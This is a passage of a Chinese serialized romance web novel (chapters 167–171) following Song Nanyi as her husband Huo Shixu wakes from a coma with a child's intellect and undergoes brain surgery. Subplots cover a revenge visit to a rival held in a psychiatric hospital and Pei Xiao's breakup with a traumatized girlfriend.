路姐紧跟着说,“应该是醒了,但他眼珠没动,我也不敢叫他,就赶紧跟您说一声。”
宋南伊心跳的厉害。
盼了这么久,终于是盼到了这一天。
每走一步,她都幻想着,见面后,喜极而泣的场景。
门,开着。
她一步迈了进去,“霍时序……”
霍时序的眼珠没动。
还是那样一动不动地盯着天花板。
路姐小声说,“太太,先生刚刚也是这样的,你说他是真醒了,还是假醒了。”
宋南伊也不知道。
她步子很慢的,走到霍时序的床前,轻轻地唤他,“时序?”
他没回应她。
她又很轻地唤了一句,“霍时序,你是不是醒了?”
依然。
“霍时序?”
“霍时序,你能听见我说话吗?”
“路姐,叫私人医生,快点。”
宋南伊感觉不对劲。
她一遍又一遍地唤他。
不知道过了多久,他终是有了一丝丝的反应,“咳,咳咳……”
“霍时序,你说句话呀,你知道我等这一天,等了多久吗?你别睡了,好吗?”
霍时序缓慢地眨了眨眼睛。
木然的转过脑袋,盯着宋南伊的脸发起了呆。
“你,是谁啊?”
宋南伊:……不认人了?
“我是宋南伊啊,霍时序你别吓我,你怎么了?你是失忆了,还是傻了?你别玩了,这很不好玩。”
医生说过。
霍时序醒来,有一定的几率会变傻。
难道,就一点奇迹都不给她吗?
“霍时序,你再看看我,我是宋南伊,你有印象吗?”
霍时序的眼神很陌生。
甚至对于宋南伊迫切的声音,有自然的恐惧。
“你,走开,走开。”他害怕地缩起脖子。
坏事了。
霍时序真的傻了。
私人医生来看过后,基本也确定了霍时序的病情是真的。
宋南伊不死心。
开着车,和路姐一起,将霍时序送去了医院。
从头到脚地检查了一通。
医生看着检验报告,很遗憾地告诉她,霍时序的脑神经,在做肺部手术的时候,受到药物的影响,有一定的损伤,失忆,降智是板上钉钉的事情了,劝她别抱有幻想。
宋南伊哪里肯接受这个。
抓着医生,再三确定这事,“那他真的不能恢复了?就永远记不起任何人,永远成为一个傻子吗?”
“其实,他也不是变傻,只是智商不是他这个年纪,更像一个七八岁的孩子,自理还是没问题的,吃点补脑的药吧,也许哪天就有奇迹了呢。”
又是要等。
等以后,等奇迹,等着上天怜悯。
她想要的不是这样的结果。
“那他的肺……现在情况怎么样?”
“看片子来说,恢复得还不错,十年的功能性,应该是没有问题的。”
宋南伊无法理解,十年的功能性叫
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还不错这件事情。
她变得越来越崩溃。
越来越焦虑。
越来越不知道,未来在哪儿。
她不是怕霍时序拖累她一辈子,她只想要他好起来,怎么这么难。
……
宋南伊用了三天,接受了霍时序会傻十年,十年后可能会离开她的事实。
她换一种看待事物的方向。
傻了也挺好的,起码无忧无虑,不会再去想要得到爱,得到一切很难得到的东西。
更不用像以前那样,天天在霍氏加班。
这样的霍时序,就像回到了童年,更容易跟小核桃玩到一起。
有时候,看着他们一起玩,宋南伊感觉自己多了一个儿子。
“太太,江特助过来了。”路姐说。
宋南伊收回落到霍时序和小核桃身上的视线,“叫他进来吧。”
“好的。”
江淮依然像从前一样恭敬。
他给宋南伊带来了一个消息,“是关于蓝烟的事情。”
宋南伊有些意外。
她是有日子没听到了,“她现在怎么样?”
“怀孕了,据说是院里那个六十岁最邋遢的老疯子的,但每天晚上摁着她上的疯子太多了,估计是谁的,也没人说得清,已经快五个月了,显怀明显。”
宋南伊冷笑,“那她一定很开心吧。”
“她现在精神失常,人不人鬼不鬼的,我听院长说,她天天嘴里,嘟嘟囔囔的,不知道在咒谁。”
“那可能是……不太想生这个孩子吧。”
宋南伊突然很想见蓝烟一面。
对江淮说,“明天,你陪我去见见她。”
“她现在是个疯子,我怕她会……”江淮顾忌宋南伊的安全。
宋南伊反而没那么谨慎,“有你在,有院长在,她伤不到我的,放心。”
“是。”
……
安宁精神病院。
地处江城的市郊。
从外面看,这里更像是一个被遗忘的地方。
平时这个时候。
男的女的老的少的,都会在这院子里,追逐打闹的,自言自语地,唱歌的跳舞的,日天日地日空气的,什么样的都有。
因为宋南伊要来,江淮提前跟院长打过招呼,疯子傻子们,都被暂时拦在大楼里,没让他们在院子里活动。
“蓝烟在二楼,她不出门,吃喝拉撕都在那间房里,自残过,怕她**,没法交代,院长特意将她的房间用海绵围了一圈。”
第167章 坏人,不准欺负我妈妈
江淮一边走,一边跟宋南伊讲。
二人很快来到二楼。
奶黄色的木头门,兴许的斑点,很有年代感。
院长早已经在这儿等候多时。
“霍太太,这里的空气,可能不太好,要不,您先戴上这个吧。”院长递了副口罩给宋南伊。
宋南伊摆手,“不用。”
院长谄笑着收回口罩,拿了钥匙打开了门。
一阵穿堂风吹过。
那味道,简直比发酵了三天的尸体,味道还要难闻。
蓝烟缩在一个小角落里。
上衣扯的乱七八糟。
下面只穿了条内裤,肚子明显,听到开门的声音,她下意识的往后躲。
嘴里不知道在说什么。
一会笑,一笑哭的。
这哪里还是那个嚣张,跋扈,视别人的命如草芥的坏女人。
看来,送她来这儿,是来对了。
坏人,就应该接受炼狱般的折磨。
“蓝烟。”江淮叫她。
她身子猛地颤了一下,似是认了声音。
不确定的慢慢的将脸扭了过来,她眼睛很红,脸上很脏,像生活在垃圾里的乞丐。
“蓝烟,霍太太过来看你。”院长又提醒她。
蓝烟认出了宋南伊。
失控的扑了过来。
还没等江淮出手,院长就一脚踢了过去,“蓝烟,你给老实一点,要是伤着霍太太,你就给我等着瞧。”
这一脚,刚好踢到了她的肚子上。
她疼的撕心裂肺,哭声动天。
“宋南伊,你把我害苦了,你还敢来看我,看我过的多惨是吗?你好歹毒的心啊,你把我送到这儿,把我糟蹋成这样,我做鬼都不会放过你的。”
蓝烟死死地瞪着宋南伊。
宋南伊却生不了半分的怜悯。
“蓝烟,你差一点害死我儿子,我杀了你都是应该的,只是送你到这儿,你就不甘心了?”
蓝烟扭曲的脸,阴狠的笑着。
瞧瞧她说的多轻松。
还不如杀了她了。
“宋南伊,不如你杀了我吧,我现在就想死,死了也好过那些疯子爬我的身子,我只是想要霍时序的种,不是这些疯子的种……”
蓝烟拼命的拍打着她凸起的肚子。
可是孩子就是稳稳的,怎么也掉不了。
“宋南伊,我再告诉你一个,你不知道的秘密,你过来,过来,我就告诉你。”
蓝烟诡谲的笑着。
宋南伊怎么会靠近她。
“省省吧,蓝烟,你的小把戏,再也不会有人上当了,不过……”宋南伊轻轻的笑了,“……你如果不想要肚子里的孩子,我可以替你想想办法。”
“啊呸,你会有这好心?”蓝烟知道自己很可能,不会从这里出去。
她把视线落到了江淮的身上,冲着他扑了过去,“江特助,如果你肯帮我离开这儿,我愿意以身相许。”
江淮嫌弃的躲开。
“滚远一点,蓝烟因为你,夫人一直在自责,身体每况愈下,你在这儿,好好反省自己做过的错事吧。”
转身对宋南伊说,“您看,要不咱们回?”
“嗯。”
三行转身,身后传来了蓝烟癫狂的笑声。
“宋南伊,你会得报应的,你一定不得好死。”
门,重新锁好。
院长点头哈腰的送宋南伊和江淮往外走,“你们放心,我会‘照顾’好她的。”
江淮给了院长一张支票,“那辛苦你了。”
看着上面的数字。
院长两眼放光,急忙应下,“不辛苦,不辛苦,这都是我应该做的。”
从精神病院出来。
宋南伊的心情并不算好。
但却释怀了许多。
坏人应该得到报应的。
谁也不是例外。
……
宋南伊的人生,重新启迪。
白天工作,晚上哄霍时序睡觉。
他倒也挺省心的。
给饭知道吃,饿了知道叫,生活自理没有问题。
对她也在慢慢的熟悉。
也记住了她的名字。
偶尔也会傻傻的跟着小核桃一起,喊她妈妈。
小核桃会纠正他。
但他总也想不住。
周末的时候,她会一手牵着小核桃,一手牵着霍时序,带着他们出去逛逛。
“那个是什么呀,我想吃。”霍时序傻傻的,指着卖棉花糖的人,“五颜六色的,看起来好好吃的样子,妈妈,可以给我买吗?”
“爸爸,她是我的妈妈,不是你的妈妈,你记住了,别乱叫哦。”小核桃自告奋勇,“我去给你买。”
小核桃好像长大了许多。
小腿嗖的就跑了出去。
没几分钟,他就买回来,两个不同颜色的棉花糖,“爸爸,你吃这个,这个粉色的给妈妈吃。”
宋南伊有心酸,也有知足。
她揉了揉儿子毛茸茸的头顶,“乖,妈妈不爱吃这个,你跟爸爸一人一个。”
“那你尝一口,可甜了。”小核桃将棉花糖递到了宋南伊的嘴边,“妈妈,你张嘴。”
宋南伊张嘴咬了一小口。
很甜。
如果生活也这样,就好了。
一大一小两个男人,吃着棉花糖。
宋南伊就这样看着他们满足的样子,却也生出几分幸福感。
“哟,这不是在江城叱咤风云的霍时序吗?怎么变傻子了?还吃棉花糖,你看看他,还真是傻的清新脱俗呢,是不是啊,霍……总……?”
一个穿着风衣的男人,正对着身旁的年轻女人说笑。
笑声鄙夷。
宋南伊认出了他。
一个纨绔的富二代,除了泡妞不会别的。
前世,霍时序跟这个人,在夜总会起过几次冲突,他被霍时序揍的不轻。
怎么让他给撞上了。
宋南伊给霍时序系好围巾,牵起小核桃的手,“咱们带爸爸回去吧。”
“好呀。”
小核桃牵起霍时序的手,“爸爸,我们回家喽。”
三人要走。
男人伸手拦下了宋南伊,“跑什么呀?你男人现在……我看这样子,恐怕连男女之事都不知道是怎么回事吧?要不,你跟我吧,起码我可以在床上满足你,一个人独守空房,多寂寞空虚冷啊。”
男人的手,伸向了宋南伊的精致漂亮的小脸。
她瞥脸躲开。
“你胡说八道什么,放尊重一点。”
小核桃跳起来,踢了这个不要脸的男人一脚,“你这个人坏人,不准欺负我妈妈。”
“你个小崽子,竟然敢打我?”男人抓起小核桃的领子,将他拎了起来,“你爸现在是个傻子,这是全江城都知道的事情,我是念在你妈年轻漂亮,才想着收留她,不过,我也不介意多个儿子,来,叫爸爸。”
小核桃瞪着大眼睛。
啐了一口唾沫在男人的脸上。
低头就咬在了男人的手背上。
他疼的只好松手,将小核桃丢了出去,“小崽子,你看我不揍死你。”
“爸爸,救我。”小核桃跑到了霍时序的身后,躲了起来。
霍时序呆呆的看了男人一眼。
嘴边还沾着蓝色的棉花糖。
男人来气,抬腿,冲着他的胸口就是一脚。
“霍时序,你瞪你妈呢?你现在就一傻子,你有本事,起来打我呀?我告诉你,那几年,你揍我的事情,我可记着呢。”
第168章 傻子,是霍家的耻辱
霍时序捂着胸口,疼得脸都扭曲。
“坏人,坏人……”
“爸爸,你没事吧……”小核桃心疼霍时序。
冲过去就打这个找事的男人。
男人抬腿扫开他,“小崽子,你再找不痛快,我连你一起揍。”
宋南伊急忙扶起小核桃,“没事吧,乖,去看好爸爸。”
小核桃狠狠的,瞪了男人一眼。
回到了霍时序的身边。
这个男人偏偏要跟自己过不去。
宋南伊知道,今天是躲不了,“你凭什么**啊?你是不是有病?”
“我是有病啊,我有相思病,我早就知道霍时序娶了个漂亮的媳妇,号称江城第一美人,这小子艳福还真不浅,都变傻子了,这漂亮媳妇还不离不弃呢……”
男人发出尖锐的笑声,扣住宋南伊的手腕,扯到身前,“……我真的很想尝尝霍时序女人的滋味,你跟了我,吃香的,喝辣的,享不尽的荣华富贵,不比跟着一个傻子强。”
“啪。”
一个巴掌,甩在了无礼男人的脸上。
他动了动腮,“妈的,给你脸了,是不是?敢打我。”
扬手就要回给宋南伊一个耳光。
宋南伊闭起眼睛。
打就打吧。
大不了被打了报警,这口恶气,她实在咽不下了。
结果,巴掌没落到她的脸上。
男人高高扬起的手腕,被一只大手紧紧的攥住,疼得他脸都变了色。
“裴啸?怎么是你?你放开我,疼,疼……”
“你这个狗东西,除了欺负女人和孩子,还会干什么?我告诉你,霍时序现在是傻了,不代表他一辈子都是傻子,不想他醒过来,让你生不如死,你最好给我收敛一点。”
裴啸重重地甩开眼前的男人。
他踉跄着后退了一步,揉着手腕,继续放狠话,“裴啸,你也别吓唬我,我可不信一个傻子还能变回去,不过,看在你的面子上,我可以饶了这个女人和这个小崽子,你欠我个人情,记住了。”
男人给自己找补了面子。
裴啸没惯着他,“我看你是欠揍,赶紧滚。”
男人不敢再等效,灰溜溜的跟身旁的女人走了。
小核桃委屈扑进裴啸的怀里,眼中泪光闪烁,“裴啸舅舅。”
“舅舅看看,有没有伤到啊?”裴啸抱起小核桃,又看向了宋南伊,“你呢?他有没有欺负你?”
宋南伊浅浅摇头。
将霍时序从地上扶了起来,“时序他被踢了一脚,我怕伤到之前做手术的地方,先带他去医院看看。”
“嗯,我陪你一起。”
裴啸开着车,将霍时序送去了医院,照了片子。
虽然那一脚踢的不轻,但好在没有伤到手术的伤口上。
受了点皮肉伤,问题不大。
小核桃陪着霍时序在玩。
他现在就像个小孩子,玩起来,就什么都忘了。
裴啸和宋南伊聊了几句。
“时序这样下去,也不是办法,我联系了脑科著名的医生--马克医生,他答应可以过来给时序会诊,如果能通过手术改善的话,还是要治疗的,你觉得呢?”
裴啸一直为了霍时序的事情,奔波着。
宋南伊很感激,“如果可以,那当然是好,就怕机会渺茫,再出现一些别的问题。”
她是有担心的。
就像肺部手术,引起昏迷,然后变傻。
霍时序再也经不起折腾。
“裴啸哥,我现在……也不知道,到底是给他治疗好,还是不治疗的好。”
裴啸能理解宋南伊的担忧。
以他对霍时序病情的了解,如果头部做手术的话,应该问题不大。
但他不能替宋南伊做决定。
“能治疗自然是最好的,如果手术成功了,他会慢慢的好起来,无论是工作还是生活,都会变好,如果手术后,他依然没有改观,我们也尽力了,也没有遗憾了,不是吗?”
宋南伊抬眸看向裴啸。
她对他是信任的。
可是否要博一博,她需要考虑一下。
“裴啸哥,我想考虑一下,再给你答复好吗?”
“好。”
霍时序现在生活没有问题。
至于工作……
现在的霍时序,基本上已经成了霍家的弃子。
就算霍正诚再怎么希望,这个孙子好起来,也不得不接受他已经傻了的事实。
傻子,是霍家的耻辱。
霍氏甚至将霍时序的名字,已经抹掉。
霍明达将顾南风带进了董事局。
逐步让他接触霍氏的核心人物,打好关系,为将来顺利的接手霍氏做准备。
就算是手术成功了,霍时序好了起来。
也未必然,能再成为霍氏的当家人。
霍家就是这样,利益至上。
霍时序也没有成为例外。
只有无论
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他傻或是不傻,都依然心疼他的母亲,每天坚持颂经,祈福,希望他早点恢复健康起来的心,是真的。
能不能再成为霍氏的领袖,已然不那么重要。
只要他能健康,就是对大家最好的交代。
从医院回到家后。
宋南伊坐在霍时序的床头,看着他,单纯又委屈的目光,心口很酸。
她轻轻的握住了他的手。
小声的问他,“要是再做一个手术,你怕不怕呀?”
霍时序很安静的望着她的眼睛。
他不懂要做什么手术,“做什么手术呀?”
“脑袋的手术,做了手术,你就变聪明了,以后就没人可以欺负你了。”她笑着,眼底有了泪水,“今天,被打疼了吧?是我没有保护好你,对不起啊。”
“不疼,伊伊不要哭。”霍时序手忙脚乱的,替她擦脸上的泪,不知道为什么,他的心好疼,“以后,我会和小核桃一起保护你,我要做手术,我要变聪明,你别哭好不好。”
他傻傻的,着急的模样,很可爱。
宋南伊却看的很心酸。
他,不应该是这样的。
她笑了。
他也跟着傻呵呵的笑了。
……
宋南伊做好决定后,约裴啸见个面。
一家很漂亮的咖啡厅里。
以前在江大上学的时候,她和裴吟经常光顾的一家店。
“裴啸哥,又得麻烦你,帮忙联系一下马克医生,确实一下手术方案。”宋南伊很不好意思。
今天过来的时候,她特意去专柜挑了一块手表,算做是答谢,“这个送你,希望你能喜欢。”
“跟我这么客气干什么?”裴啸笑了,微扬的唇角,整齐的牙齿,还有一点当年黑皮体育生的影子,“虽然这些年,一直没怎么联系,但我们不是陌生人。”
“我知道。”她把手表推到他的面前,“长大了就是这样的,你忙你的,我忙我的,这是我心意,希望你收下。”
裴啸笑着,接过手表盒,打开。
积家的手表,二十万左右。
他觉得大可不必,“伊伊,你这样,我挺伤心的。”
“不喜欢吗?”宋南伊心口一紧,“那你喜欢什么牌子的,我再重新去买。”
裴啸抬眸看向她,眼底尽是无奈和心疼,“既然小核桃叫我一声舅舅,我就算你的亲哥,跟自己的亲哥还这样客气,你说我伤不伤心?”
第169章 暧昧,劈腿,上床
“我就是想表达一下我的谢意,没有别的意思。”她实话实说。
裴啸多多少少也了解一些宋南伊。
这块手表不收下,她估计今晚上就睡不着了。
“行吧,只此一次,下不为例,以后再送我这么贵的东西,我可是要生气的。”
“嗯。”
宋南伊脸上有了笑容。
裴啸当着宋南伊的面,将手表替换下来,“审美在线,不愧是珠宝设计师。”
“你喜欢就好。”
说话这功夫。
一杯冰水,冲着宋南伊的脸,就泼了过来。
她毫无防备,人被泼的眼睛都睁不开。
身上的高订套装。
也被这杯突如其来的水,湿透了半边。
“啊……你是谁啊?”
裴啸转头,看向了泼水的人,“怎么是你?夏北柠你疯了?”
他抽了纸巾,递给宋南伊。
又叫来了服务生,“麻烦你带她去处理一下。”
宋南伊看了夏北柠一眼,没说什么,跟着服务生离开。
她好像看过这个女人的照片,她是裴啸的女朋友。
怎么跑到国内来了?
不会是误会了吧?
指定是的,要不然,她也不会泼水。
“小姐,这边有盥洗室,里面有烘干的设备,您可以处理一下。”服务生将她引领到门口。
宋南伊点头致谢,“好的,谢谢。”
咖啡厅里。
夏北柠像个抓奸在场的正宫娘娘。
对着裴啸就是一个耳光。
“我就说,你为什么老回江城,你根本不是看望父母,也不帮着妹妹忙婚礼的事情,是有小情人在这儿勾搭着你的心呢,她是谁?是你哪个女人?裴啸,你说啊。”
夏北柠的声音很尖锐。
吸引了不少顾客的目光。
裴啸动了动被打疼的腮。
缓缓转过头,看向夏北柠,眼底的愠色渐浓。
“我不想跟你吵。”
他拽着她往外走,她死命的挣开,非要等宋南伊出来,“我今天就要看看,是什么样的小妖精,把你迷得留在江城不回去了。”
“非要这样吗?夏北柠,非要在这大庭广众的撕破脸?”裴啸眼眸森然,沉哑的嗓音中,压抑着怒气,“夏北柠,我是自由的人,我没有卖给你,我有工作,有家人,有朋友,我想去哪儿去哪儿,我想跟谁交往跟谁交往,你要是受不了,请你离开我,好吗?”
裴啸脸沉得如墨汁一般。
薄唇抿成一道直线。
哪怕是他念着从前,还存着那么一丝丝的歉疚,在这一刻,也烟消云散。
结束吧。
他愿意当这个负心人。
“你要抛弃我了对吗?你对一个爱你入骨的女人,就这样的嫌弃了,你还是人吗裴啸?”
夏北柠抓着裴啸的衣服,用力地晃着他。
企图要把他晃清醒。
可他现在无比清醒。
这样的决定,他早应该做了。
如果他肯狠下心来,他至少早几年就清静了。
他就是太念旧情。
他错了,错得离谱。
宋南伊收拾好自己出来,看到夏北柠在拉扯裴啸,心脏一紧,忙快步走了过去。
“夏小姐,你这是干什么?有话好好说啊,你是不是误会什么了?我是在和裴啸哥聊……”
宋南伊想解释一下。
别因为自己,让人家两口生了嫌隙。
没等她说完。
夏北柠就失控尖叫了起来。
她恶狠狠地瞪着宋南伊,像要吃掉她一般,“你就是个狐狸精,你勾引我的男人,你想霸占着他,你让他不回家,你就是个**,不要脸的**。”
“闭嘴。”裴啸真的动怒了。
少见的寒光,落到夏北柠的脸上。
她哇的哭了起来。
面对大家异样的眼神,她又哭又笑,又抓狂。
“裴啸,你为了一个女人,你这样对我,你对我已经不耐烦了是吗?好,分手,你要分手不是吗?那我回去等你,等你浪够了,回来跟我分手。”
夏北柠哭着跑走。
宋南伊劝裴啸赶紧去看看,“裴啸哥,你去追她吧,别再出什么事情。”
裴啸捏着眉心。
疲惫的坐下,并没有跟出去,“再这样下去,她不出事,我也得出事了。”
“我听裴吟说,你和夏小姐感情挺好的,怎么你们……”
裴啸不知道该如何向宋南伊,诉说他和夏北柠的故事。
所谓故事,开头往往是美好的不容诋毁。
当发生了一些意外后,故事的走向就偏了。
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>“有一年,情人节,那天我刚好在加班,她给我打了个电话,说会给我一个惊喜。”
“我当时很忙,也不知道她要做什么,答应她,赶紧结束工作就去找她。”
“我没想到,她悄悄到了公司楼下,那晚附近有活动,人很多,她出了意外。”
宋南伊听的心脏一攥。
意外?
“她怎么了?”
“她被人**了,还不止一个人,发现她时,她衣衫凌乱的在一个巷子的角落里,像一只破碎的花瓶。”
裴啸不忍去回忆这些事情。
如果他早一点下班,如果她告诉他她已经到了楼下,如果……
糟糕的事情就那样发生了。
“出事后,我停下工作半年,陪她四处疗伤,眼看着她好起来,快乐起来,我们的生活也步入了正轨,但……”
“她变得疑神疑鬼,她会怀疑我在外面跟别的女人暧昧,劈腿,上床,就像……你刚刚看到的那样,每天都在上演着,周而复始,无休无止。”
这事听了令人心疼。
宋南伊猜,夏北柠应该是没有从那时的阴影里走出来,而产生了自卑和猜忌。
“她觉得出那事后,你会嫌弃她,她不再美好了,女人就是这样的,那是她最宝贵的东西,就那样的失去了,还是在被强迫的情况下,心理上的创伤,不是那么容易好起来的。”
裴啸苦笑。
如果他嫌弃她,就不会任由着她闹了他三年,一年多个日夜。
他希望她忘记。
可她偏偏忘不掉。
“也许,我根本成为不了,一个合格的男朋友吧。”
“别这样说裴啸哥,要不,你们再聊聊吧,我看夏小姐她很爱你。”
裴啸深呼吸。
又缓缓吐出,“你别为我们的事情烦恼了,我会联系好马克医生,尽快让他来江城,为时序的手术做准备。”
“谢谢你裴啸哥。”
裴啸离开后。
宋南伊无声叹息。
感情真是折磨人,一段令人心力憔悴的感情,更是让人生不如死。
爱到最后是什么呢?
是不甘,是愤怒,是疲惫,还是恨呢?
她涩笑。
自己的感情都没有捋顺明白,怎么会搞懂别人的感情事。
……
第170章 你在说谎
酒店门口。
夏北柠坐在一堆喝光的啤酒瓶中间。
醉眼朦胧的,看向裴啸。
哭了,又笑了,又哭了。
“阿啸,你不爱我了对吗?”夏北柠泪流满面,试图从他冷漠的眼底,读出一些不舍的信息,“你告诉我,你还爱我吗?还是说,自从我被人强暴后,你就再也没有爱过我,你一直嫌我脏,所以,你从不肯碰我,对吗?”
裴啸没有说话。
只是那样复杂地看着她。
夏北柠懂了。
其实,三年前她就懂了。
只是她不想懂,也不愿意懂。
“你说啊,你是不是嫌我脏,才不肯跟我发生关系,甚至,亲吻和拥抱都很少,是不是裴啸,我想听真心话。”她颤着唇齿问。
这次裴啸回答了她,“不是。”
“你在说谎。”她不信。
“北柠,现在说这个还有意思吗?你爱我吗?你对我除了占有,控制,猜忌,有爱吗?你觉得我们这样正常吗?这不是爱情,这是折磨,我累了。”
他累了。
他觉得这样的人生,是在消耗。
消耗他,也是消耗她。
“分手吧,北柠,算我对不起你。”
夏北柠哭着笑了。
终于,他们还是走到了这一步。
“外面的那个女人是谁?是今天的宋南伊吗?还是说,你有一个更隐秘的情人,她在哪儿,她叫什么?多大了,做什么工作的,长得比我美吗?比我年轻吗?她是处吗?你们上过几次床了?你们未来的打算是什么?”
她咄咄逼人。
裴啸只是浅浅淡淡的摇了摇头。
“北柠,你需要好好的静下心来,思考一下。难道,你的人生就是我吗?还是自己无休无止的疑心病,我们年纪都不小了,我们的人生,不应该过成这样。”
他不想说了。
这三年,该说的,不该说的,他已经说得够多了。
“抱歉,我不能再陪你走下去了,我决定回江城了,陪陪父母,裴家需要我,我的家人需要我,我们就……到此为止吧。”
这话,对夏北柠来说很残忍。
放过他,未必不是放过她自己。
“好啊,既然你不要我了,那我也不要你了,我夏北柠也不是离了你裴啸就不能活,但是裴啸……”夏北柠瞪着面前的男人,不甘的眼泪从眸底流出,“……你给我记住,是你对不起我,我恨你,我会恨你一辈子,永远。”
……
霍时序手术前。
做了很多术前检查。
马克医生跟宋南伊沟通了许多。
在确定好风险,且接受后。
她来到霍时序的手术床前,温柔的跟他讲话,“别怕,就一个小手术,很快就能出来。”
霍时序握着她的小手。
依赖满满的,“那你能陪我一起进去吗伊伊?”
“可能不行,你要勇敢,好吗?”
霍时序点了点头,乖巧的眼神,有点像小核桃,“我会勇敢的,那你在外面等我,好不好?”
“好,我在外面等你出来,你要加油哦。”
“我会的。”
护士推着霍时序进了手术室。
马克医生进手术室前,裴啸跟他说了会儿话。
宋南伊猜,应该是手术上的事情。
“你看我哥,对你的事情,格外的上心。”裴吟这天特意请了一天假,过来陪宋南伊,“不过说起来,霍时序那贱狗傻了,还怪可爱的,你就让他一直傻下去呗,让他变聪明了,他又得气死人。”
“可是傻着,不是他的人生啊。”宋南伊挤了抹笑。
裴吟看着宋南伊,被折磨的憔悴的小脸,也能理解,“确实,他傻着,还得你照顾他,两个儿子,两个喊妈的,你不疯,我都得替你疯。”
宋南伊噗嗤,“他现在已经不叫我妈妈了。”
“你说他是怎么叫出口的?”裴吟直摇头。
宋南伊很好解释,“他现在就是个小孩子,小核桃喊我妈妈,他也跟着喊,哪有什么喊出口,喊不出口的,他知道什么。”
裴吟笑了。
没敢笑太大声。
“对了,我还没问你,订婚后,你和陆律师相处的怎么样啊?”宋南伊问她。
裴吟顿想了好一会儿。
才慢吞吞的说,“其实,我们见面的机会也不是很多,去陆家吃过几次饭,挺有趣的。”
“有趣?”宋南伊笑了,“看来是有故事。”
裴吟长叹一口,仰面道,“那故事可长了,一时半会儿的,可讲不完,就这么说吧,那个跟陆为谦年纪相仿的后妈,可不是省油的灯,我要是嫁过去了,那她的日子可就不好过了,但前提是……”
“是什么?”
裴吟嘶道,“……前提是,陆为谦不能拉偏仗。”
宋南伊太了解裴吟的脾气了。
这家伙,可是得理不饶人,无理还要争三分。
你客气,她便客气。
你要是不客气,那她可就得让你寸草不生。
“等你们结婚了,他就是你的丈夫,他自然是向着你的啊,但你也得给他留面子。”
裴吟摇头。
有时候,这面子可真不是好留的。
“你也知道,我不是受欺负的主,但那个程岚,就是陆为谦那个后妈,有点用鼻孔看人,装杯装得挺大的,我瞧不上。”
“那陆之白,对你还算客气吧?”
裴吟点头,“这婚事是他钦点的,他确实没为难我。”
“那就好,这陆家说白了,还是陆之白当家,只要他不为难你,我想应该没人敢为难你的。”
裴吟笑宋南伊的天真。
陆家可没有霍家的关系那么简单。
“希望吧。”
裴啸走过来,说了几句安慰宋南伊的话。
裴吟拿哥哥打趣,“我听说你和那个姓夏的吹了?”
“少管闲事。”裴啸没好气。
裴吟笑嘻嘻,“你早该分了,那女人就是一个耗人精,你再不分,你就精分了。”
宋南伊偷偷的掐了裴吟一下,想让她少说戳心窝子的话。
裴吟不听。
她专挑最痛的那地儿戳,“哥,你这次分手,不会又是倾家荡产吧?要我说,你还是别谈恋爱了,再谈下去,咱们家就破产了。”
“闭嘴。”裴啸不爱听。
裴吟依然笑嘻嘻,“唉,当年也怪我,让你和南伊阴错阳差的错过了,说来是有点遗憾,但人生处处是遗憾,这遗憾一多,也就不算遗憾了,前面,一定有更好的等着你的。”
裴啸瞥了她一眼。
索性坐到了对面,不听她聒噪。
……
这次的手术,做的时间并不长。
两个小时。
霍时序就被推了出来。
马克医生的表情,还算轻松,“手术难度不算大,也很顺利,慢慢就会好起来的。”
宋南伊松了口气。
希望这次医生没有骗她。
霍时序醒来时。
还是傻呵呵的。
他见到宋南伊在,很高兴地求表扬,“伊伊,我做完手术了,我很坚强,对不对?”
“是,你很坚强,很棒,慢慢的,你就会越来越聪明。”她温和的像一个母亲。
霍时序很受用。
咧嘴冲她笑着,像个二傻子。
第171章 揉腰
医生说,最多半年,他就能恢复到正常人的智力水平。
这对于宋南伊来说,是一件值得庆祝的事情。
生活有了盼头。
她的心情也跟着好起来。
她有了更多时间,将精力用在自己的工作室里。
设计,出稿,发布下季的新品。
她累并快乐着。
裴啸回江城了,这次是回裴氏任职副总裁。
负责集团内各项业务的拓展。
裴吟忙着工作,和准备婚礼的事情。
至于陆为谦,她已经很长时间,没有见过他。
那岳川呢?
他似乎在她这段六神无主的日子里,也消失的无影无踪。
大家各忙各的。
周末的时候,宋南伊依然还会给霍时序穿的暖暖和和,带他和小核桃去游乐园,去郊游,去爬山。
她会牵着他的手,像牵一个孩子。
他很依赖她,但他不叫她妈妈了。
会唤她的名字。
只是他的眼神,看她的时候还没有什么焦距。
变聪明,不代表会恢复失忆。
就算他智商恢复了,他应该也不会记得她。
宋南伊并不觉得有什么遗憾。
她能做的就是,让他尽快的恢复健康。
在他傻着这段时间。
她已经联系周医生,为他做了很多次的腿部复健。
他的腿也已经在慢慢的恢复。
如今,没有手仗,他也可以小步小步的挪着走。
她期待他恢复的那一天。
到时,谁也不欠谁的了。
……
周末。
宋南伊帮着路姐做了几道可口的菜。
小核桃陪着爸爸在玩。
父子两个最爱下五子棋。
以前爸爸傻傻的,五子棋总是输。
但今天不一样。
爸爸竟然赢了,还是痛快的三杀。
小家伙巴巴的眨着眼睛,问他,“爸爸,你是不是不傻了呀?”
“你想让我傻,还是不让我傻呀?”霍时序没什么表情,跟平时说话的口气,差不多。
小核桃有点摸不着头脑。
他是想要一个不傻的爸爸。
如果爸爸不傻了,妈妈就要带他离开这个家。
他又不想离开爸爸。
好矛盾。
“想让你傻,也不想让你傻。”
“那是什么意思呢?”霍时序歪着头问他。
小核桃抓了抓头发,很纠结的样子,“你要是一直傻,你会被人欺负,我和妈妈太弱小了,根本就保护不了你,如果你不傻了,我和妈妈就要走了,我不想爸爸和妈妈分开……”
小小的脑袋垂下去。
叹息声音,大大的。
惆怅万千。
“小核桃,和爸爸,来吃饭了。”宋南伊的声音传过来。
小核桃只好先丢掉烦恼,去扶霍时序,“爸爸,我们先去吃饭吧。”
宋南伊忙着给两个人盛饭。
路姐在厨房里盛汤。
霍时序抬起眼来,看向宋南伊,眼神里透出几分清澈。
待她将眼神落到他面上时,他已经收回了视线。
“儿子,周一妈妈要去出差,下周末让你外婆去接你,好不好?妈妈可能这次出去的时间,比较长一些,得十天呢。”
宋南伊声音温柔。
给小核桃拿了他的小勺子,小筷子。
小家伙很懂事的点头,“好呀,那爸爸怎么办?”
“我跟着。”霍时序举手回答问题,“伊伊,我跟着你好不好?我保证不给你添麻烦,我会很乖的,你不在家里,我会想你的。”
宋南伊笑笑。
“先吃饭。”
小核桃和霍时序埋头干饭。
宋南伊一边用手机处理着一些邮件,一边和路姐说,“我离开这些日子,麻烦你照顾好霍时序,有来访的,除了江淮和他的母亲,一律不接待。”
“好的太太。”
霍时序从饭碗中抬起头来,“我要跟你去出差。”
“我是去工作,带着你不方便,你乖乖的听话。”宋南伊夹了肉到霍时序的碗里,温声哄着他,“我回来给你买棉花糖吃,好不好?”
